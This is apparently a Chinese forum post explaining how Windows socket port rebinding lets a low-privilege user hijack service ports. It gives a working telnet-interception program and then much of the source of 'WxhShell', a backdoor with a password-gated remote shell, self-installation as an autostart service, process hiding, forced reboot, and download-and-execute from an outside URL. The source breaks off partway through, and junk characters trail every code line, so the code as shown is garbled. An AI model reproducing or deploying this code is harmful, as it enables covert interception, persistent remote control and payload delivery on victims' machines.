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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1 &jc/*Z"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RXMISt3+{y  
/aCc17>2V{  
  saddr.sin_family = AF_INET; df8k7D;~e  
l ~"^7H?4e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @-07F,'W,  
@(w@e\Bq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {f_={k  
7DogM".}~Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5+4IN5o]=  
>a<.mU|#  
  这意味着什么?意味着可以进行如下的攻击: Pjf"CW+A  
wq`s-qZu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @Rze| T.  
6xmZXp d!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f].h^ ~.q  
)th<,Lo3#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n: ^ d|@  
(*9$`!wS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oN~&_*FE  
jxJ8(sr$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >{n,L6_ t  
VOsR An/N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IxN9&xa  
XAKs0*J>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h]&GLb&<?  
hg]]Ok~cAs  
  #include 3PWL@>zi  
  #include W &W5lArr  
  #include #<"~~2?  
  #include    JPI3[.o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BQHVQs   
  int main() mkk6`,ov  
  { sRR( `0Zp  
  WORD wVersionRequested; G^|:N[>B  
  DWORD ret; .[KrlfI  
  WSADATA wsaData; F@jZ ho  
  BOOL val; VR8-&N  
  SOCKADDR_IN saddr; WF+99?75  
  SOCKADDR_IN scaddr; V]6dscQ  
  int err; ;6 D@A  
  SOCKET s; ea2ayT  
  SOCKET sc; 9Q^r O26+  
  int caddsize; K=Z|/Kkh  
  HANDLE mt; )gUR@V>e2  
  DWORD tid;   \fLMr\LL&  
  wVersionRequested = MAKEWORD( 2, 2 ); \A#41  
  err = WSAStartup( wVersionRequested, &wsaData ); Igt#V;kK"2  
  if ( err != 0 ) { LKB$,pR~1l  
  printf("error!WSAStartup failed!\n"); c9 eM/*:  
  return -1; Oc0a77@  
  } U[-o> W#  
  saddr.sin_family = AF_INET; i v38p%Zm  
   :uS\3toj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =U9*'EFr  
q'F+OQb1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3AtGy'NTp  
  saddr.sin_port = htons(23); r.&Vw|*>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [#vH'y  
  { hp X9[3  
  printf("error!socket failed!\n"); ZgcMv,=  
  return -1; A2Ed0|By  
  } ',@3>T**  
  val = TRUE; `:KY\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ykw*&opz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ifQ*,+@fxR  
  { Wq&if_  
  printf("error!setsockopt failed!\n"); ;?i W%:_,  
  return -1; %3-y[f  
  } Np9<:GF1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zrgk]n;Pq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N/2 T[s_&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dt]-,Y  
R4cM%l_#W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nPl?K:(  
  { `i*E~'  
  ret=GetLastError(); w+|L+h3L7  
  printf("error!bind failed!\n"); n0 {i&[I~+  
  return -1; 9wwqcx)3(  
  } OX!tsARC@  
  listen(s,2); 19)i*\+  
  while(1) I;|B.j  
  { F^BS/Yag  
  caddsize = sizeof(scaddr); Qbn"=n2  
  //接受连接请求 `iNSr?N.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P l]O\vh  
  if(sc!=INVALID_SOCKET) 5c0 ZRV#  
  { \'D0'\:vz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @o _}g !9=  
  if(mt==NULL) mR:uj2*  
  { Ya"a`ozq  
  printf("Thread Creat Failed!\n"); =s2*H8]  
  break; osAd1<EIC  
  } f}f9@>.  
  } >*_$]E  
  CloseHandle(mt); S`0(*A[W*  
  } Jhhb7uU+  
  closesocket(s); %T%sGDCV  
  WSACleanup(); 1};Stai'  
  return 0; 9}<ile7^  
  }   d.d/<  
  DWORD WINAPI ClientThread(LPVOID lpParam) Id .nu/  
  { pJ"qu,w  
  SOCKET ss = (SOCKET)lpParam; M`!H"R7  
  SOCKET sc; P@Oo$ o  
  unsigned char buf[4096]; W+?4jwqw  
  SOCKADDR_IN saddr; Ckuh:bs  
  long num; <uw9DU7G  
  DWORD val; x2\qXN/R  
  DWORD ret; om z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >uhaW@d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K`zdc`/  
  saddr.sin_family = AF_INET; m@v\(rT.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k"zv~`i'  
  saddr.sin_port = htons(23); )U:m:cr<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 97C]+2R%^  
  { {@{']Y  
  printf("error!socket failed!\n"); ~Otoqu|  
  return -1; 7WS p($  
  } %RRNJf}z  
  val = 100; G@X% +$I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 051 E6-  
  { |{NYkw  
  ret = GetLastError(); Zt{[ *~  
  return -1; L48_96  
  } 1 bU,$4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e\zm7_+i{  
  { C XMLt  
  ret = GetLastError();  {Gk1vcq  
  return -1; g@!V3V  
  } plstZ,#j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 08\, <9  
  { eJX9_6m-  
  printf("error!socket connect failed!\n"); _|I#{jK  
  closesocket(sc); 0 ZKx<]!  
  closesocket(ss); $Sip$\+*  
  return -1; LCKV>3+_#  
  } i3mcx)d@H  
  while(1) y/7\?qfTk  
  { 8dIgjQX|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q\7h`d%)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ie#Bkw'*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jk n>S#SZ  
  num = recv(ss,buf,4096,0); A]oV"`f  
  if(num>0) p]+Pkxz]'  
  send(sc,buf,num,0); >@_^fw)  
  else if(num==0) pO3SUOP  
  break; Kn;"R:  
  num = recv(sc,buf,4096,0); I-(zaqp@  
  if(num>0) SZ'R59Ee<  
  send(ss,buf,num,0); flbd0NB  
  else if(num==0) .[OUI  
  break; MKi0jwJM  
  } 2uW; xfeY  
  closesocket(ss); 0IBSRFt$g&  
  closesocket(sc); (iX+{a%"  
  return 0 ; aeM+ d`f  
  } O m2d .7S  
?GR"FmB(  
ZKTz ,  
========================================================== vXZOy%$o  
;dgp+  
下边附上一个代码,,WXhSHELL f46t9dxp$  
PKiy5D*8p  
========================================================== =-n}[Y}A  
U!\.]jfS  
#include "stdafx.h" [hv~o~q  
Kis"L(C  
#include <stdio.h> h3 }OX{k  
#include <string.h> ?%[@Qb=2  
#include <windows.h> c`w}|d]mC  
#include <winsock2.h> m&&m,6``P  
#include <winsvc.h> {_p_%;  
#include <urlmon.h> t-bB>q#3>  
A$0fKko  
#pragma comment (lib, "Ws2_32.lib") :*9Wh  
#pragma comment (lib, "urlmon.lib") ;iL#7NG-R  
&d^m 1  
#define MAX_USER   100 // 最大客户端连接数 Fywv  
#define BUF_SOCK   200 // sock buffer Hf2_0wA3  
#define KEY_BUFF   255 // 输入 buffer RMu~l@  
"J_9WUN  
#define REBOOT     0   // 重启 >_T-u<E  
#define SHUTDOWN   1   // 关机 s9DYi~/,  
g*C7 '  
#define DEF_PORT   5000 // 监听端口 tl^9WG  
>!1-lfa8  
#define REG_LEN     16   // 注册表键长度 vV-`jsq20H  
#define SVC_LEN     80   // NT服务名长度 }00BllJ  
cIOlhX@  
// 从dll定义API Z,Dl` w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M!D3}JRm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wjB:5~n50k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VTY 5]|;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .Vvx,>>D  
R(G7m@@{  
// wxhshell配置信息 o`z]|G1''  
struct WSCFG { ^o&. fQ*  
  int ws_port;         // 监听端口 ;+ hH  
  char ws_passstr[REG_LEN]; // 口令 K`fuf=  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?J >  
  char ws_regname[REG_LEN]; // 注册表键名 60?%<oJ oH  
  char ws_svcname[REG_LEN]; // 服务名 T!)(Dv8@F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mGg+.PFsM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K_Eux rPn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5MJS ~(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #BH*Z(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `1IgzKL9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R`E~ZWC4V  
$suzW;{#  
}; -;WGS o  
:nOFR$ W  
// default Wxhshell configuration d)Y}>@:W  
struct WSCFG wscfg={DEF_PORT, TJXT-\Vk  
    "xuhuanlingzhe", PtiOz :zV  
    1, >7DhTM-A  
    "Wxhshell", 5vnrA'BhBU  
    "Wxhshell", 4zFW-yy  
            "WxhShell Service", @*KZ}i@._  
    "Wrsky Windows CmdShell Service", 5 #E`=C%  
    "Please Input Your Password: ", &`2)V;t  
  1, 8$Y9ORs4  
  "http://www.wrsky.com/wxhshell.exe", $X,D(  
  "Wxhshell.exe" hf&9uHN%7m  
    }; f x+/C8GK  
88wa7i*  
// 消息定义模块 [FR`Z=%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oE]QF.n#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -]M5wb2,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G2: agqL/  
char *msg_ws_ext="\n\rExit."; 4ID5q~  
char *msg_ws_end="\n\rQuit."; _u QOHwn  
char *msg_ws_boot="\n\rReboot..."; <=C!VVk4f  
char *msg_ws_poff="\n\rShutdown..."; <x>M o   
char *msg_ws_down="\n\rSave to "; or}[h09qA  
Z=vU}S>r|v  
char *msg_ws_err="\n\rErr!"; aWF655Fs*  
char *msg_ws_ok="\n\rOK!"; ?hy&  
m^;f(IK5  
char ExeFile[MAX_PATH]; nUOz\ y  
int nUser = 0; xdkZdx>N  
HANDLE handles[MAX_USER]; T{[=oH+  
int OsIsNt; WCixKYq  
g{&ui.ml&  
SERVICE_STATUS       serviceStatus; <frutU16\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; kI134i=  
XVZ   
// 函数声明 uJ v-4H  
int Install(void); {&1/V  
int Uninstall(void); 6i3$CW  
int DownloadFile(char *sURL, SOCKET wsh); gp.^~p]x  
int Boot(int flag); Z4 =GMXj  
void HideProc(void); JY(WK@  
int GetOsVer(void); ,r\o}E2  
int Wxhshell(SOCKET wsl); YS"=yye 3e  
void TalkWithClient(void *cs); P71Lqy)5}A  
int CmdShell(SOCKET sock); Q*~]h;6\{d  
int StartFromService(void); ye5&)d"fa(  
int StartWxhshell(LPSTR lpCmdLine); /f;~X"!  
ak!G8'w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KJ4.4Zq{c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P( 8OQL:  
Qq|57X)P*  
// 数据结构和表定义 FVJ GL  
SERVICE_TABLE_ENTRY DispatchTable[] = @|YH|/RF  
{ JT_ `.(  
{wscfg.ws_svcname, NTServiceMain}, :eVq#3}  
{NULL, NULL} A6(/;+n  
}; ,Ko!$29[  
H"WprHe  
// 自我安装 + ksVtG,  
int Install(void) $yNS pNmT0  
{ tK\~A,=  
  char svExeFile[MAX_PATH]; E hMNap}5"  
  HKEY key; z-)O9PV  
  strcpy(svExeFile,ExeFile); Jdj4\j u  
[Z$[rOF  
// 如果是win9x系统,修改注册表设为自启动 #S"nF@   
if(!OsIsNt) { *gWwALGo5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $-sHWYZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c5GuM|*7  
  RegCloseKey(key); :"/d|i`T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G" "ZI$`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9'bwWBf7  
  RegCloseKey(key); R8'RA%O9J  
  return 0; (<C3Vts))  
    } rFL;'Cj@  
  } t1x1,SL  
} j&qub_j"xX  
else { brUF6rQ  
gRcQt:  
// 如果是NT以上系统,安装为系统服务 g`QEu 5v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [d ]9Oa4  
if (schSCManager!=0) 3h`f  6  
{ ]~siaiN[  
  SC_HANDLE schService = CreateService <wD-qTW  
  ( [/8%3  
  schSCManager, S30%)<W  
  wscfg.ws_svcname, 0<@@?G  
  wscfg.ws_svcdisp, IjnU?Bf  
  SERVICE_ALL_ACCESS, 'TB2:W3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .%  
  SERVICE_AUTO_START, z~s PXGb  
  SERVICE_ERROR_NORMAL, 13x p_j  
  svExeFile, `VguQl_,gA  
  NULL, Otn1wBI  
  NULL, 1bwOm hkS  
  NULL, ^^ixa1H<  
  NULL, CRy|kkT  
  NULL $ $mV d+  
  ); ;;/{xvQ.1  
  if (schService!=0) ;9QEK]@  
  { `r 3  
  CloseServiceHandle(schService); jAlv`uB|G"  
  CloseServiceHandle(schSCManager); %d9uTm;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >i?oC^QM  
  strcat(svExeFile,wscfg.ws_svcname); S3Jo>jXS "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @`9]F7h5W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wN~_v-~*Q  
  RegCloseKey(key); .HABNPNg(  
  return 0; :gFx{*xN/9  
    } "E4a=YH_  
  } [ub e6  
  CloseServiceHandle(schSCManager); KF:78C  
} \YrUe1  
} 7WzxA=*#  
)zDCu`  
return 1; & wDs6xq  
}  o-B$J?  
X|]A T9W  
// 自我卸载 >Cq<@$I2EB  
int Uninstall(void) mj7#&r,1l  
{ 1 [Bk%G@D&  
  HKEY key; 1T n}  
?(_08O  
if(!OsIsNt) { QQc -Ya!v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ")p\q:z6  
  RegDeleteValue(key,wscfg.ws_regname); Z6MO^_m2  
  RegCloseKey(key); +X 88;-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yyTnL 2Y9  
  RegDeleteValue(key,wscfg.ws_regname); ]u/sphPe  
  RegCloseKey(key); h^P#{W!e\  
  return 0; 1<aP92/N&  
  } g2Z`zQA7  
} }3WxZv]I}  
} aV0"~5  
else { ]\HvKCN}  
dft!lBN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !&@615Vtw  
if (schSCManager!=0) /Z}}(6T  
{ +D*Z_Yh6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n|yO9:Uw<  
  if (schService!=0) ,zY{  
  { .O<obq~;C  
  if(DeleteService(schService)!=0) { -jm Y)(\  
  CloseServiceHandle(schService); ZXPX,~ 5o  
  CloseServiceHandle(schSCManager); p!AAFmc  
  return 0; !C.4<?*|  
  } sU^1wB Rj  
  CloseServiceHandle(schService); (+hK%}K>  
  } KD.]i' d<  
  CloseServiceHandle(schSCManager); y$M%2mh`  
} @_{=V0  
} ?:eV%`7  
;5( UzQU  
return 1; %^6F_F_jS  
} {?7Uj  
X2'0PXv>!  
// 从指定url下载文件 &mM0AA'\?H  
int DownloadFile(char *sURL, SOCKET wsh) ti,d&c_7  
{ Q\0'lQJdy  
  HRESULT hr; ` 5>b:3  
char seps[]= "/"; hOK8(U0  
char *token; n~Lt\K:  
char *file; )D%~` ,#pQ  
char myURL[MAX_PATH]; WUTowr  
char myFILE[MAX_PATH]; :.`2^  
.*Qx\,  
strcpy(myURL,sURL); >^{yF~(  
  token=strtok(myURL,seps); |;{6& S  
  while(token!=NULL) 7 _[L o4_  
  { >=w)x,0yX  
    file=token; 2MK-5 Kg  
  token=strtok(NULL,seps); dlnX_+((KC  
  } dqcL]e  
@>7%qS  
GetCurrentDirectory(MAX_PATH,myFILE); WTiD[u  
strcat(myFILE, "\\"); llDkJ)\  
strcat(myFILE, file); %B?=q@!QWn  
  send(wsh,myFILE,strlen(myFILE),0); iH'p>s5L  
send(wsh,"...",3,0); l;E(I_ i)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w&.a QGR#  
  if(hr==S_OK) 1k^oS$UT  
return 0; ?Q;=v~-Q  
else 2st3  
return 1; x.4m|f0;  
IdN41  
} U #0Cx-E  
\z)%$#I  
// 系统电源模块 JK] PRDyD  
int Boot(int flag) %@Jsal'  
{ MnHNjsO#  
  HANDLE hToken; ue>D 7\8  
  TOKEN_PRIVILEGES tkp; /g.U&oI]D  
ksm~<;td  
  if(OsIsNt) { ,`sv1xwd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iN.n8MN=I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $<OD31T  
    tkp.PrivilegeCount = 1; tQ601H>o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !H\F2Vxs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~F#j#n(=`q  
if(flag==REBOOT) { 1xx}~|F?|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1B\WA8  
  return 0; 0tJ Z4(0  
} tT._VK]o&R  
else { Ew$C ;&9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *yGGBqd  
  return 0; 5`_SN74o  
} qcRs$-J  
  } f?)-}\[IR{  
  else { @E8+C8'  
if(flag==REBOOT) { >.D4co>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u]G\H!Wk Q  
  return 0; 3iU=c&P  
} Qv ?"b  
else { #s9aI_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <{cQ2  
  return 0; CNx8] _2  
} BL4-7  
} -7|H}!DFT  
$Z>'Jp  
return 1; Y|/ 8up  
} fd9k?,zM  
.ccp  
// win9x进程隐藏模块 VG~Vs@c(  
void HideProc(void) KG{St{uJ  
{ ,iwp,=h=  
IUct  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EBmt9S  
  if ( hKernel != NULL ) nT)vNWT=  
  { EEL,^3KR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iam1V)V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LXCx~;{\  
    FreeLibrary(hKernel); {7pli{`  
  } D3K8F@d  
<\S:'g"(  
return; W!(LF7_!  
} k|f4Cf,  
%N_%JK\{@  
// 获取操作系统版本 {fp[BF  
int GetOsVer(void) uvS)8-o&F  
{ Wn}'bqp  
  OSVERSIONINFO winfo; wUM0M?_p[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,"0 :3+(8;  
  GetVersionEx(&winfo); Q=dy<kg']  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Bj":rzY  
  return 1; ]J]h#ZHx  
  else L{Vqh0QD&  
  return 0; |e0`nn=  
} rU(+T0t?I  
0Y5_PTWb+Y  
// 客户端句柄模块 S0W||#Pr  
int Wxhshell(SOCKET wsl) BfiD9ka-z  
{ ~7Ux@Sx;  
  SOCKET wsh; ;xn0;V'=  
  struct sockaddr_in client; J4U1t2@)9  
  DWORD myID; [opGZ`>)j"  
;]:@n;c\  
  while(nUser<MAX_USER) caX< n>  
{ 1m0c|ckb  
  int nSize=sizeof(client); Z<{QaY$"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dUdT7ixo  
  if(wsh==INVALID_SOCKET) return 1; 5Jnlz@P9  
E&:,oG2M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <ZR9GlIr  
if(handles[nUser]==0) \z} Ic%Tp  
  closesocket(wsh); q- d:TMkc  
else Y`wSv NU  
  nUser++; sW8dPw O  
  } "tpSg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `5Zz5V  
T^]}Oy@e,J  
  return 0; Nmh*EAJSy  
} El"Q'(:/U  
zT-_5uZQ  
// 关闭 socket lU8Hd|@-  
void CloseIt(SOCKET wsh) K!l5coM  
{ a7%]Y}$  
closesocket(wsh); |]*/R^1>2  
nUser--; ;i+#fQO7Q  
ExitThread(0); 8DaL,bi*.  
} ^sWT:BDh  
o2\8OxcA  
// 客户端请求句柄 R@rBEW&  
void TalkWithClient(void *cs) d m%8K6|  
{ ;i:d+!3XwC  
R ViuJ;  
  SOCKET wsh=(SOCKET)cs; }*"p?L^p{  
  char pwd[SVC_LEN]; Kx JqbLUC  
  char cmd[KEY_BUFF]; %H"47ZFxAs  
char chr[1]; L_iFt!  
int i,j; 7. ;3e@s  
y"wShAR  
  while (nUser < MAX_USER) { Pk)1WK7E  
QP J4~  
if(wscfg.ws_passstr) { \dQNLLg/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g eCM<]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K", N!koj  
  //ZeroMemory(pwd,KEY_BUFF); r]36z X v  
      i=0; k"w"hg&e  
  while(i<SVC_LEN) { k|d+#u[Mj@  
$* Kvc$D  
  // 设置超时 wLr_-vJ  
  fd_set FdRead; wq`Bd  
  struct timeval TimeOut; }RqK84K  
  FD_ZERO(&FdRead); >[*qf9$  
  FD_SET(wsh,&FdRead); _:27]K:  
  TimeOut.tv_sec=8; x-3\Ls[I  
  TimeOut.tv_usec=0; !%0 * z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o{[YA} xc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IPo?:1x]s  
kMd.h[X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k$^`{6l  
  pwd=chr[0]; `PH{syz  
  if(chr[0]==0xd || chr[0]==0xa) { VW4r{&rS  
  pwd=0; B^9j@3Ux  
  break; czd~8WgOa  
  } Th%Sjgsn  
  i++; y'*K|a TG  
    } | Xy6PN8  
4{`{WI{  
  // 如果是非法用户,关闭 socket U/NoP4~{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~qOa\#x_  
} }vM("v|M  
R~$qo)v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V~5jfcd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OI*Xt`  
4r}8lpF_(  
while(1) { D,FkB"ZZE  
wAW5 Z0D  
  ZeroMemory(cmd,KEY_BUFF); ?5 7Sk+  
I2 P@L?h  
      // 自动支持客户端 telnet标准   D d</`iUq  
  j=0; 9q[oa5INd  
  while(j<KEY_BUFF) { "#\ ;H$+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w+CA1q<  
  cmd[j]=chr[0]; lU8`F(Mn  
  if(chr[0]==0xa || chr[0]==0xd) { /I0%Z+`=  
  cmd[j]=0; 3:i@II  
  break; :20W\P<O!A  
  } Ciz X<Cr}  
  j++; N<injx  
    } e**qF=HCw  
[HZv8HU|  
  // 下载文件 6,{$J  
  if(strstr(cmd,"http://")) { 0KOgw*>_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /s}} &u/  
  if(DownloadFile(cmd,wsh)) G<v&4/\p`M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (JFWna0@  
  else '1s0D]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #4 pB@_  
  } hQDXlFHT  
  else { r\V ={p  
U\*J9  
    switch(cmd[0]) { AkQ ~k0i}b  
  !d0kV,F:  
  // 帮助 7O-x<P;  
  case '?': { H~1 jY4E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w&T9;_/  
    break; SNI)9k(T{  
  } Hja3a{LH  
  // 安装 nc|p)  
  case 'i': { G*P#]eO  
    if(Install()) ^3L0w}#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E~;xn;  
    else fS78>*K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wi6 ~}~%  
    break; uk<9&{  
    } )|=j`jCC  
  // 卸载 ]-/VHh  
  case 'r': { ?2Py_gkf  
    if(Uninstall()) wEvVL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P me^l%M  
    else |4 0`B% Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,wAF:7'  
    break; :^B1~p(?sK  
    } E#N|w q  
  // 显示 wxhshell 所在路径 ZX./P0  
  case 'p': { `&ckZiq  
    char svExeFile[MAX_PATH]; ]|P iF+  
    strcpy(svExeFile,"\n\r"); _^%,x  
      strcat(svExeFile,ExeFile); (M.&^w;`,  
        send(wsh,svExeFile,strlen(svExeFile),0); N64dO[op  
    break; 3m!X/u  
    } VQ9/Gxdeo  
  // 重启 n[Y~]  
  case 'b': { 5uj?#)N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); );&:9[b_  
    if(Boot(REBOOT)) H%Q7D-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u46Z  
    else { l?n\i]'  
    closesocket(wsh); JO6)-U$7UG  
    ExitThread(0); |imM# wF  
    } hy"\RW  
    break; 9Y_HyOZ*GX  
    } fSvM(3Y<Qh  
  // 关机 >V8-i`  
